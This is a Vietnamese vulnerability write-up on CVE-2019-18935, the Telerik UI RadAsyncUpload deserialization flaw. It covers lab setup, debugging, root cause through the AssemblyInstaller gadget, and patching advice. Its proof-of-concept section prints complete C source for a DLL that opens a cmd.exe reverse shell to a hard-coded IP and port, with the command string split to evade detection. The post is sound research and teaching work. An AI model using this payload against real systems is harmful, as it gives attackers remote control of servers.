Post

(Vietnamese) CVE-2019-18935, Remote Code Execution via Insecure Deserialization in Telerik UI

My deep dive analysis for CVE-2019-18935

(Vietnamese) CVE-2019-18935, Remote Code Execution via Insecure Deserialization in Telerik UI

I. Overview

Telerik UI là bộ công cụ phát triển giao diện người dùng (User Interface toolkit) do Telerik cung cấp, được phát triển dành riêng cho các ứng dụng web ASP.NET. Nó nổi tiếng với tính đa dạng, linh hoạt và khả năng tối ưu hoá hiệu năng giúp xây dựng các dự án nghiệp vụ chuyên nghiệp và chất lượng cao.

Telerik UI trước đây được gọi là RadControls for ASP.NET AJAX, trong đó RAD = Rapid Application Development


Về CVE-2019-18935, đây là lỗ hổng bảo mật xảy ra do Telerik UI xử lý không an toàn khi deserialize các đối tượng có định dạng JSON qua thành phần RadAsyncUpload (file handler được dùng trong triển khai AJAX cho ứng dụng web ASP.NET). Từ đó dẫn đến kẻ tấn công có thể thực thi mã tùy ý với quyền của ứng dụng.

image

Lỗ hổng này ảnh hưởng đến tất cả các phiên bản của Telerik UI cho tới ngày phát hiện CVE. Đến phiên bản R1 2020 (2020.1.114) thì lỗ hổng này đã được vá bằng cách bật chức năng whitelist từ đó giới hạn type của tệp tin mà người dùng được phép tải lên.

II. Setting up environment

1. Setting up Telerik UI at local

Vì không có license key để tải chính xác phiên bản và ứng dụng Telerik UI bị lỗi ở thời điểm đó. Những gì mình có thể làm là tìm lại những file installer của phiên bản Telerik UI dính lỗ hổng, từ đó chạy file installer này và lấy những thư viện cần thiết cho việc mô phỏng lỗ hổng từ những file DLL. Dưới đây là phần mô tả chi tiết những gì mình đã làm để có được source code của Telerik UI

Chạy file installer, cài đặt như yêu cầu thông thường. Những nội dung liên quan tới thư viện, các extension của Telerik UI được lưu tại C:\Program Files (x86)\Telerik\UI for ASP.NET AJAX R1 2017. Ta có thể dễ dàng thấy ta đã có được thư viện DLL cần thiết cho Telerik Web UI

image

Để mô phỏng lại môi trường phù hợp cho lỗ hổng, mình dựng lên một project ASP.NET Web Form C#. Mình sử dụng IDE: Visual Studio Community 2022, cài đặt ASP.NET and web development kèm theo .NET Framework version 4.6.2, đây là phiên bản khá gần gũi và tương thích với Telerik UI version cũ. Tiến hành tải các phụ thuộc cần thiết, sau đó tạo một project mới

image

Trong project mới sẽ có nhiều thông tin default, mình tiến hành sửa đổi 2 phần nội dung chính là Web.configDefault.aspx. Trong đó, phần nội dung của file Default.aspx sẽ chỉ đơn giản là một home page với chức năng upload file để mình có thể mô phỏng lại hành vi của RadAsyncUpload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="CVE_2019_18935_VisualStudio._Default" %>
<%@ Register assembly="Telerik.Web.UI" namespace="Telerik.Web.UI" tagprefix="telerik" %>

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Telerik Test</title>
</head>
<body>
    <form id="form1" runat="server">
        <telerik:RadScriptManager
            runat="server"
            ID="sm"
            ScriptMode="Debug"
            EnableScriptCombine="false" />

        <telerik:RadAsyncUpload
            runat="server"
            ID="rau1"
            TargetFolder="~/App_Data/Uploads"
            OverwriteExistingFiles="true"
            AllowedFileExtensions="jpg,jpeg,png,gif,txt,dll"
            MaxFileSize="10485760" />
    </form>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<configuration>
	<system.web>
		<compilation debug="true" targetFramework="4.6.2" />
		<httpRuntime targetFramework="4.6.2" />

		<pages>
			<controls>
				<add tagPrefix="telerik" namespace="Telerik.Web.UI" assembly="Telerik.Web.UI" />
			</controls>
		</pages>
	</system.web>

	<system.webServer>
		<validation validateIntegratedModeConfiguration="false"/>
		<handlers>
			<add name="Telerik_Web_UI_WebResource_axd"
				 path="Telerik.Web.UI.WebResource.axd"
				 type="Telerik.Web.UI.WebResource"
				 verb="*"
				 preCondition="integratedMode"
				 resourceType="Unspecified"
				 requireAccess="Script"/>
		</handlers>
	</system.webServer>

	<runtime>
		<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
			<dependentAssembly>
				<assemblyIdentity name="Antlr3.Runtime" publicKeyToken="eb42632606e9261f" />
				<bindingRedirect oldVersion="0.0.0.0-3.5.0.2" newVersion="3.5.0.2" />
			</dependentAssembly>
			<dependentAssembly>
				<assemblyIdentity name="Microsoft.Web.Infrastructure" publicKeyToken="31bf3856ad364e35" />
				<bindingRedirect oldVersion="0.0.0.0-2.0.0.0" newVersion="2.0.0.0" />
			</dependentAssembly>
			<dependentAssembly>
				<assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" />
				<bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />
			</dependentAssembly>
			<dependentAssembly>
				<assemblyIdentity name="WebGrease" publicKeyToken="31bf3856ad364e35" />
				<bindingRedirect oldVersion="0.0.0.0-1.6.5135.21930" newVersion="1.6.5135.21930" />
			</dependentAssembly>
		</assemblyBinding>
	</runtime>

	<system.codedom>
		<compilers>
			<compiler language="c#;cs;csharp"
					  extension=".cs"
					  type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=2.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
					  warningLevel="4"
					  compilerOptions="/langversion:default /nowarn:1659;1699;1701" />
			<compiler language="vb;vbs;visualbasic;vbscript"
					  extension=".vb"
					  type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=2.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
					  warningLevel="4"
					  compilerOptions="/langversion:default /nowarn:41008 /define:_MYTYPE=&quot;Web&quot; /optionInfer+" />
		</compilers>
	</system.codedom>
</configuration>

Với việc set up 2 file như trên, ta cần tiến hành thêm những file DLL của Telerik UI vào References của Visual Studio. Click chuột phải vào References, add rồi browse tới thư mục lưu những file DLL của Telerik Web UI ban nãy đã tải

image

Tới đây, ta có thể launch web page lên để xem đã set up thành công hay chưa, kết quả là hoàn thành, trong burp suite cũng có bắt được những API cần thiết cho việc reproduce CVE được gọi tới:

image

image

2. Setting up remote debugger with DnSpy

Mình cũng chưa thực sự hiểu về cơ chế sinh ra module trong thư mục Temp này là do DnSpy hay do Visual Studio, nhưng trong quá trình mình đã để ý và thử nghiệm thì đã debugger đã thành công nhận. Vấn đề nhận debug hay không tới từ việc ta chọn module/file dll để view trong DnSpy

Ban đầu, tất nhiên mình đã chọn những file dll tới từ vị trí thư mục mình đã tải về ở "C:\Program Files (x86)\Telerik\UI for ASP.NET AJAX R1 2017\Bin45\Telerik.Web.UI.dll" để mở trong DnSpy, nhưng vì lý do nào đó khi kết nối với Visual Studio sẽ báo về một lỗi "The module hasn't been loaded or no symbols have been loaded to the module":

image

Mình đã tiến hành kiểm tra những modules hiện được load vào trong DnSpy để chắc chắn một lần nữa rằng những file DLL đã được nạp đúng. Kết quả là đúng thật là đang có những file DLL đã được mình load vào, nhưng hiện nó đang nằm ở trong thư mục Temp?

image

Sau rất lâu lần mò không hiểu vì lý do gì mà bug, mình quyết định thay vì attach debug với source của DLL trong thư mục tải về. Mình sẽ dùng chính xác những file DLL được chỉ định trong thư mục Temp, kết quả đã không làm mình thất vọng, không còn cảnh báo nào nữa và breakpoint cũng đã được hit khi mình tiến hành upload một file bất kỳ lên hệ thống

image

image

image

Vậy là ta đã thành công set up remote debugger cho CVE này

III. Root Cause Analysis

1. Prerequisites - Điều kiện tiên quyết

Lỗ hổng CVE-2019-18935 chỉ có thể khai thác được khi khoá mã hoá (encryption key) đã bị lộ, cụ thể:

  • Ta cần biết hoặc có thể bẻ được khoá mã hoá được dùng để bảo vệ rauPostData của RadAsyncUpload => Cách kẻ tấn công lấy được thông tin này có thể xuất phát từ việc chain với CVE-2017-11317, CVE-2017-11357 hoặc từ các cách khác.

    CVE-2017-11317 sẽ có khả năng tải file tuỳ ý lên hệ thống nhờ vào việc ứng dụng sử dụng khoá mặc định

CVE-2017-11357 là IDOR, từ việc truy cập được vào những thông tin nó có thể truy cập vào web.config để lấy được encrypt key rồi từ đó lại sinh ra khả năng tải file tuỳ ý lên hệ thống

  • Chức năng whitelist type nhập vào của RadAsyncUpload không được bật (Từ bản vá R1 2020, cơ chế whitelist này được mặc định bật còn trước đó thì không)

code22

Hình ảnh được trích từ exploit script của PoC, Telerik UI các phiên bản từ 2018 về trước đã hardcode các key quan trọng với giá trị trên

=> Khi đã có key được dùng cho việc mã hoá, ta có thể giả mạo được payload chứa type tuỳ ý => Upload typeSystem.Configuration.Install.AssemblyInstaller => Chiếm hoàn toàn quyền điều khiển hệ thống, thực thi mã từ xa

2. Background/Prior knowledges required

Để hiểu được cơ nguyên dẫn tới sự xuất hiện của CVE-2019-18935, ta cần phải nắm những kiến thức cần thiết được author - người phát hiện ra lỗ hổng đề cập tới ngay trong bài blog có chứa PoC

image


Đầu tiên, trong bối cảnh năm 2017, khoảng 2 năm sau khi các RCE gadget Java Insecure Deserialization trong thư viện Apache Commons Collection của Java được ra mắt. Mọi người đều có chung một suy nghĩ rằng nên cố gắng sử dụng những cách xử lý dữ liệu khác thay vì ser/deser. Một trong số phải kể đến sử dụng JSON, nhưng nó không thực sự an toàn như họ tưởng tượng

Bài phân tích chi tiết FRIDAY THE 13th JSON ATTACKS được trình bày tại Blackhat đã chính thức xác nhận việc sử dụng các thư viện serialization của JSON cũng có thể bị khai thác. Cụ thể, họ đã công bố một gadget dẫn tới RCE như sau:

image

Hãy chú ý vào những điểm mình highlight lại, chúng là những key point đã được sử dụng trong việc khai thác CVE này. Đầu tiên, ngữ cảnh được đưa ra là chúng ta kiểm soát hoàn toàn giá trị của biến type, và những giá trị khác trong trường JSON được truyền vào cho hệ thống xử lý

Lỗ hổng xảy ra khi chúng ta truyền vào một type tên là System.Configuration.Install.AssemblyInstaller song song với việc cung cấp một đường dẫn dưới dạng một trường giá trị của JSON path trỏ đến một file dll rồi yêu cầu hệ thống deserialize.

Điều này dẫn tới khi cố gắng khởi tạo lại đối tượng (một hành vi thường thấy của quá trình deser), chương trình đã vô tình load file DLL này vào trong bộ nhớ. Đây là điểm chết để kẻ tấn công tận dụng vào mặc dù nó chỉ là tác dụng phụ khi cố gắng khởi tạo lại nội dung của file DLL đó


Mixed-mode assembly

Trong bài viết JSON ATTACK Friday 13th cũng có đề cập rằng ta có thể tạo ra một mixed-mode assembly – tức một tệp assembly kết hợp cả managed code và unmanaged code. Trong tệp DLL này, ta có thể chèn bất kỳ đoạn mã nào muốn thực thi trực tiếp vào hàm DllMain. Đây là hàm entrypoint mặc định của DLL, và nó sẽ được chạy ngay khi DLL được nạp vào bộ nhớ, như đã đề cập ở phần trên.

Ta sẽ tiến hành tạo ra file mixed-mode assembly đó bằng cách sử dụng ngôn ngữ C rồi đặt phần code muốn thực thi trong unmanaged section. Vốn cũng có thể sử dụng C++ nhưng theo như tác giả của PoC, những bản phân phối của C++ trên các máy bị tấn công có thể sẽ không có sẵn.

Về cơ bản, các chương trình viết cho .NET Framework sẽ chạy trong một môi trường phần mềm (khác với môi trường phần cứng) gọi là Common Language Runtime (CLR), ta có thể hiểu CLR của .NET gần giống với JVM của Java.

image

CLR là một máy ảo ứng dụng, cung cấp các dịch vụ như bảo mật, quản lý bộ nhớ, xử lý ngoại lệ. Vì thế, code viết bằng .NET Framework được gọi là managed code. Ngược lại, code không nhắm đến CLR thì được gọi là unmanaged code

Như vậy với kiến thức nền bên trên, giờ ta cũng có cái nhìn tổng quan về mixed-mode assembly DLL, đây là những file vừa chứa native-unmanaged code (C/C++) vừa chứa managed code (.NET IL). Tuy nhiên, nó có đặc thù rất quan trọng với attacker đó là việc hàm DLLMain sẽ được mặc định là Entrypoint của các file DLL => Attacker cố gắng chèn shellcode vào đây

Đọc thêm thông tin liên quan về DLL mixed-mode tại:


Cân nhắc chèn thêm ví dụ vào đoạn này

3. Root Cause

Trước tiên, ta cần phải nắm được thông tin về luồng khai thác của lỗ hổng này trong thực tế. Luồng khai thác này có thể được minh hoạ bằng hình ảnh dưới đây:

image

Nhìn chung, mặc dù nguyên nhân gốc rễ của CVE-2019-18935 vẫn tới từ unrestriced file upload giống như CVE-2017-11317. Song điểm đặc biệt của nó tới từ cơ chế, cách RadAsyncUpload xử lý tham số rauPostData được truyền vào khi upload file. Điều này lại liên quan tới .NET deserialization, vì vậy, trong khuôn khổ bài viết này, mình sẽ tập trung vào phân tích phần nội dung liên quan tới mục ==LOAD DLL INTO APPLICATION==, tập trung vào cụ thể bug .NET deser xuất hiện ở đâu và vì sao dẫn tới thực thi mã từ xa.


Trong quá trình upload, tham số này được chia thành 2 phần: JSON data chứa đối tượng cấu hình, và assembly qualified type name để chỉ định object type cần được deserialize. Vấn đề ở đây là ứng dụng không hề giới hạn type nào sẽ được dùng trong quá trình deserialize. Toàn bộ giá trị type nằm trong request đều được truyền thẳng vào hàm JavaScriptSerializer.Deserialize()

Ta có thể thấy tại dòng 379 => 382, các dòng code cho thấy ý đồ lập trình viên đang mong muốn chia phần nội dung của rauPostData sẽ gồm 2 phần, ngăn cách nhau bởi ký tự &. Phần đầu tiên là JSON data, được gán vào biến obj tại dòng 383, phần còn lại là type mà JSON data ở phần 1 cần được deserialize thành

image

Sau khi phân tách xong, tại chính xác dòng 385, chương trình sẽ gọi tới hàm Deserialize() nằm tại class SerializationService, nội dung của hàm được thể hiện ngay bên dưới đây, nhìn chung nó sẽ trực tiếp sử dụng type để deser dữ liệu từ người dùng:

image

=> Rõ ràng rằng rauPostData hoàn toàn là biến người dùng kiểm soát. Điều này dẫn tới attacker có thể chỉ định bất kỳ type nào có trong scope của ứng dụng.

=> Trong khi deserialize, JavaScriptSerializer sẽ gọi các setter methods hoặc field assignment tương ứng, và nếu type được chọn là một gadget có khả năng thực thi code gián tiếp, thì toàn bộ flow này trở thành một arbitrary deserialization chain. ==Đây chính là chỗ mà bug .NET deserialization xuất hiện==

Dưa vào kiến thức mình đã nhắc đến tại mục II.2, tại JSON ATTACK Friday 13th tác giả đã từng nhắc đến việc nếu người dùng kiểm soát những trường data quan trọng trên kết hợp với deserialize, kẻ tấn công sẽ tiến được tới RCE.

Gadget được lợi dụng ở đây là System.Configuration.Install.AssemblyInstaller. Bình thường class này được thiết kế để load một assembly rồi chạy các installer bên trong nó (ví dụ để cài đặt hoặc commit một assembly hợp lệ). Nhưng nếu attacker chỉ định type này trong rauPostData, kèm theo một Path trỏ tới DLL đã upload lên server từ trước (qua lỗ hổng file upload), thì khi deserialize, ứng dụng sẽ tự động load DLL đó vào AppDomain hiện tại. Kết quả là entry point DLLMain() trong DLL độc hại sẽ được gọi

image

Note: theo mình, lý do lớn nhất để bug này được gán tag .NET deser là sự xuất hiện của AssemblyInstaller Class khi sử dụng chain RCE

IV. POC - Proof of Concepts

Nội dung phần unmanaged code được gen bằng C, kết hợp với 1 file empty C# để tạo ra mixed mode assembly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

#define HOST "161.248.30.56"
#define PORT 1337

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char aip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

void ReverseShell()
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    struct hostent *host = gethostbyname(HOST);
    strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(PORT);
    hax.sin_addr.s_addr = inet_addr(aip_addr);

    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
    if (WSAGetLastError() == 0) {

        memset(&ini_processo, 0, sizeof(ini_processo));

        ini_processo.cb = sizeof(ini_processo);
        ini_processo.dwFlags = STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

        char *myArray[4] = { "cm", "d.e", "x", "e" };
        char command[8] = "";
        snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
    }
}

DWORD WINAPI MainThread(LPVOID lpParam)
{
    ReverseShell();
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    HANDLE hThread;

    if (fdwReason == DLL_PROCESS_ATTACH)
        hThread = CreateThread(0, 0, MainThread, 0, 0, 0);

    return TRUE;
}

image

image

V. Recommendations

  • Nâng cấp lên những phiên bản mới nhất của Telerik UI (>= R1 2020)
  • Nếu sử dụng những phiên bản >= 2019, kiểm tra và bật tuỳ chọn whitelist type trong Telerik.Upload.AllowedCustomMetaDataTypes trong web.config

VI. References

  • https://www.youtube.com/watch?v=–6PiuvBGAU
  • https://bishopfox.com/blog/cve-2019-18935-remote-code-execution-in-telerik-ui
This post is licensed under CC BY 4.0 by the author.